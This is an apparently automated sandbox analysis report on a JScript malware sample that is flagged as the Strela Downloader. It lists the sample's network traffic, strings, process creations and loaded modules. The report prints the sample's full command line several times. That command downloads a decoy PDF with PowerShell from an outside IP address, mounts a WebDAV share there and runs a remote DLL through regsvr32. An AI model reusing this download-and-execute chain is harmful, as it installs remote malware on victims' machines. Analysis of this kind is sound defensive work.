HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1428121630.0000021C20B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1500232655.0000021FD49BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1501001425.0000021FD49DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1500064968.0000021FD49DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500817503.0000021FD4990000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500905763.0000021FD49AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1500232655.0000021FD49AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500905763.0000021FD49BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.2715486135.0000012D27200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1513749177.0000012D26F60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3184, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1861217272584230862.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5500

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2072:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ri1btmp.cxs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,6906610275621193779,5295784197698234964,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,6906610275621193779,5295784197698234964,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
